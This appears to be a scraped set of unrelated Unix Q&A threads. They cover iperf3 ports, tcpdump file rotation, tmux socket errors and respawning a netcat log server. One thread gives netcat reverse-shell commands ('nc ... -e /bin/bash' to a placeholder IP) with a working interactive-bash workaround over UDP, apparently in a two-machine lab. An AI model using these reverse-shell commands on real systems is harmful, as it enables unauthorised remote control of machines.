I'm using my apache server for running TCP and UDP traffic using iperf3.
I manually execute a command on my server to listen to a port.
~# iperf3 -i 5 -s -p 7759
-----------------------------------------------------------
Server listening on 7759
-----------------------------------------------------------
I'm wondering if there is a way to configure my apache server to have few ports (say 7760,7761,7762,...7770) permanently open on my apache server for iperf traffic so that I don't have to manually execute the aforementioned command to open the port for iperf traffic
The answer depends on the definition of permanently open.
If ports remaining open after you log out from your webserver is sufficiently good approximation of permanently open. Then all you need is start iperf with nohup command.
nohup iperf3 -s -p 7759 >/tmp/log 2>&1
See this question for more details on keeping backround processes after the shell that spawned them terminates. In particular, check out the answers that suggest using the screen command.
If you need iperf server to keep the ports open between reboots you need to configure the init process to spawn iperf3 at boot up time. For this you need root access to your webserver.
As root you could add the following lines to /etc/rc.local file
iperf3 -s -p 7759 > /tmp/iperf-7759.log 2>&1 &
iperf3 -s -p 7760 > /tmp/iperf-7760.log 2>&1 &
...
iperf3 -s -p 7760 > /tmp/iperf-7770.log 2>&1 &
See also this question on how to ensure a command is run every time the machine starts.
I am new to writing script and not sure whether I am correct in writing such script for tcpdump to collect pcap info.
tcpdump -s 0 port ftp or ssh or http or https -i eth0 -w mycap.pcap
#run the tcpdump and store all the info in mycap.pcap
sudo kill -2 #for exit purpose
This enables me to run tcpdump which is good, however, I wish to stop this (due to the space for mycap.pcap meet the max capacity of 3GB per file) automatically via the same script and run again but this time round, I will store it in another file (eg. mycap1.pcap)
Then the cycle goes again until I stop the process by pressing crtl+c
Can this be done?
You don't need to write a script for that.
tcpdump -C <filesize> -s 0 port ftp or ssh or http or https -i eth0 -w mycap.pcap
Have a look at the man-page for tcpdump.
I'm trying to set up a reverse shell between two Linux machines (Kali v. 1.0.9), using the default installation of netcat.
Using the commands below, I was able to make a connection and relay text information between the two machines:
Listener:
nc -luvvp <port>
Client:
nc -uvv <ip> <port>
However, modifying the client's arguments to include executing bash upon a connection:
nc -uvv <ip> <port> -e /bin/bash
And no connection is made, I'm not quite sure how to get this to work, this doesn't seem to be a problem that other people have experienced and was unsure of how to solve the issue. It might also help to know that these commands work fine using the normal TCP mode, it's only after adding the u flag that it stops working for shells. Any help would be appreciated, thanks!
I did some experiments and realized that tunneling shell session via netcat over UDP is almost impossible. The bash does not know that the underlying file descriptor is the UDP socket bash calls read() with buffer size 1. That is fine for interactive shell but when received UDP datagram contains more than 1 byte then data is lost (except the first byte in the datagram).
The netcat uses the standard line buffer at the stdin and the whole line is sent in a single UDP datagram. But bash reads only the first byte from each line.
The other problem is that the client netcat exucuted via command
nc -uvv -e "/bin/bash" <ip> <port>
does not send any data to server because the bash is executed in non-interactive mode and it just waits for a command. The solution is to write a script to execute bash in the interactive mode:
$ cat bashinteractive
#!/bin/bash
/bin/bash -i
and call server
$ nc -luvvp <port>
and client
nc -uvv -e "./bashinteractive" <ip> <port>
But the usage is very inconvenient. It is possible to write command on server when each byte is followed by ENTER
$ ./nc -luvvp 6666
listening on [any] 6666 ...
connect to [10.0.2.15] from xxx.yyy.zzz [10.0.2.16] 37552
$ c
cd
d
/
/
$ l
ls
s
-
-l
l
total 92
drwxr-xr-x 2 root root 4096 Feb 7 15:22 bin
....
drwxr-xr-x 13 root root 4096 Oct 16 2013 var
$ e
ex
xi
it
t
exit
sent 30, rcvd 1422 : Connection refused
So my recommendation is to use other tool than netcat. Perhaps you can try
http://code.google.com/p/udptunnel/
I have this protocol port open to read remotely from Python, PHP applications but daily it crash and the port is unavailable as a result Python, PHP all client application fails
$ cat /var/tmp/server.sh
#!/bin/bash
while true; do tail -f /usr/local/freeswitch/log/freeswitch.log | nc -l -p 9999 -q 1 &
Q. Is there anyway to make this script always running like service this start or stop and if its crashed that somehow it automatically again get restarted ? Any advise or link to do such thing? i am using CentOS 6.x
Put your script in /etc/inittab as following
id:1:respawn:/var/tmp/server.sh
Refer to http://linux.about.com/od/commands/l/blcmdl5_inittab.htm for more information about the /etc/initab file.
After editing /etc/inittab restart your system.
Here's what's happening to me: I start tmux sessions using tmux -L name1, tmux -L name2; then I detatch them using ctrl+B+d. Then I try to get a list of the currently running sessions on my computer. However, when I run tmux ls, I get an error message:
failed to connect to server: Connection refused
Is this a bug? I'm familiar with screen; I regard screen -ls as a very useful function since I might start a session and leave it running for weeks before the next time I attach to it. Because of this, the ability to list current running tmux sessions is quite important for me. Why does tmux ls return a "connection refused" error when I know tmux is running?
TL;DR: Try sending SIGUSR1 signal to the tmux server process.
In my case, after about 8 days of inactivity, I was not able to reattach:
$ tmux attach
no sessions
However, a grep for tmux process got me this output:
$ ps -aef | fgrep -i tmux
hari 7139 1 1 2016 ? 2-20:32:31 tmux
hari 25943 25113 0 22:00 pts/0 00:00:00 fgrep --color=auto -i tmux
As suggested by #7heo.tk, this indicates that tmux server is still running, but tmux ls was giving failed to connect to server: Connection refused error. I verified that the tmp directory that belonged to the tmux session existed and lsof -p 7139 (the pid of tmux server) showed that the socket file is open:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
tmux 7139 hari 5u unix 0x0000000000000000 0t0 1712879255 /tmp/tmux-50440/default
I also tried explicitly specifying the -S /tmp/tmux-50440/default to tmux but it didn't help. However, I read in the tmux man page that sending SIGUSR1 would make tmux recreate the socket file, so I tried that and I was able to immediately find the session and reattach:
$ kill -s USR1 7139
$ tmux ls
0: 12 windows (created Mon Apr 18 21:17:55 2016) [198x62]
This happens to me when I do not have any sessions running. I'm just starting to use tmux and didn't realize that if you restart your computer you lose your sessions which surprised me at first.
For those of you who are thinking the same thing: Restore tmux session after reboot. A summary of the post: Use shell scripts to build your tmux sessions or create a fancy shell history tracker.
This happened to me when the Ubuntu desktop crashed and my gnome-terminal windows exited. I could still see the tmux process was running (ps aux | grep tmux) but for some reason tmux commands would not work to list the existing sessions. Apparently it wasn't finding the existing Unix socket of the still-running tmux process. The fix in this scenario is to locate the existing Unix socket and specify that to tmux using the -S flag; here's how:
You can find the PID of your still-running tmux process with this:
ps -p $(pidof tmux)
Now take your PID (in my case, 6876) and run this to list any open Unix sockets:
sudo lsof -Uap 6876
Hopefully you see output like this:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
tmux 6876 abe 3u unix 0x0000000000000000 0t0 408477 socket
tmux 6876 abe 4u unix 0x0000000000000000 0t0 408478 socket
tmux 6876 abe 6u unix 0x0000000000000000 0t0 408479 /tmp/tmux-1000/default
Now you can specify that existing Unix socket to your tmux command (using the -S flag), and you should be able to list-sessions and attach properly:
tmux -S /tmp/tmux-1000/default list-sessions
tmux -S /tmp/tmux-1000/default attach -t 0
You get this error indeed if there are no session open. If there are no sessions open there is no tmux server running so it can't connect to it.
With the -L option, you change the socket name the tmux server uses, it's not a way to name your sessions. You better use the following commands:
tmux new -s name1
tmux new -s name2
These will create 2 sessions on a server with the default socket name. Now you can do:
$ tmux ls
name1: 1 windows (created Mon Sep 22 10:34:40 2014) [158x40] (attached)
name2: 1 windows (created Mon Sep 22 10:34:43 2014) [158x40] (attached)
And you see all the sessions running on the server on the default socket. You can reattach one of them using:
tmux attach -d -s name1
-s specifies the name of the session
-d will detach it from it's previous client (if it is attached)
You can also switch between sessions inside tmux with the choose-tree command which by default is assigned to the keystroke C-s (prefix key + s). This is what I usually do.
You may have an error in your .tmux.conf. I had this problem until i took out this line from my .tmux.conf:
set-window-option -g xterm-keys on
You could also try tmux -v and then look at the logs it prints.
One easy fix is to delete the tmp files left by the tmux server, for example, by doing $ rm -rf /tmp/tmux-xxx/.
The way TMUX(1) works is by having a client process (tmux) connect to a server process (tmux too, but not attached to a TTY), as shown in the following ps output:
PID TTY STAT TIME COMMAND
19229 pts/1 S+ 0:00 tmux
19231 ? Ss 0:00 tmux
That shows that the client actually starts before the server (one could assume it forks it).
After detach/re-attach, the same ps command outputs:
PID TTY STAT TIME COMMAND
19231 ? Ss 0:00 tmux
19290 pts/1 S+ 0:00 tmux attach
This shows the tmux client as tmux attach, thus being a bit easier to understand.
Now, if we look at the output of pstree in both of the above cases, we get in both cases (ignoring the pid change for tmux attach):
pstree -p
init(1)─┬─acpid(1824)
├─cron(1859)
⋮
├─sh(14146)───tmux(19229)
└─tmux(19231)───sh(19233)───pstree(19234)
Clearly showing that the commands typed (pstree in this case) in the client process (PID 19229) get executed by the server one (PID 19231), thus allowing them to continue without SIGHUP in the event where the client terminal is lost (over ssh, for example).
Now, to the question OP asked: what happens in the case where tmux returns failed to connect to server: Connection refused is that the server process (pid 19231 in our case) is unreachable, whatever the reason (it can be because the server process died; but also because the user executing the tmux client doesn't have the permissions to access the tmux socket, etc.)
The solution in that case is to grep for the tmux processes (via ps for example), and pray that you didn't get this error because the server died (so you can attach to it by using lsof to get what sockets it listens to). Otherwise, there is no way to attach to the server, as it is as dead as after a reboot.
TL;DR:
This error can be given for multiple reasons, ranging from bug to critical failure (program died). In a nutshell, use the UNIX tools at your disposal to determine what socket does tmux use, if it is still running (there should be at least two processes if you have the tmux client running - that happens after invoking tmux or tmux attach from the shell) and thus if you lost your session or not.
Note: as other answers pointed out, if the reason for this error to be shown is a socket error, you can use the -L flag to tell tmux to use a specific socket.
This may happen if you or any cleaning process delete files in /tmp/*. All your sessions data are lost if you can't recover those files. Killing all tmux instances and restart it is the only choice left, unfortunately.
I was using another program inside of tmux (reattach-to-user-namespace), and I was getting this error when I switched computers because reattach-to-user-namespace was not installed. The fix was to simply run brew install reattach-to-user-namespace.
This happened to me because I ran tmux with another user (was root), and I tried to list sessions with my normal user..
So you might want to check the user with which you ran your tmux first.
To do so:
$ ps -aef | fgrep -i tmux
root 7139 1 1 2016 ? 2-20:32:31 tmux
centos 25943 25113 0 22:00 pts/0 00:00:00 fgrep --color=auto -i tmux
See the username in the first column: here it's root
Try tmux -L name1 list-session.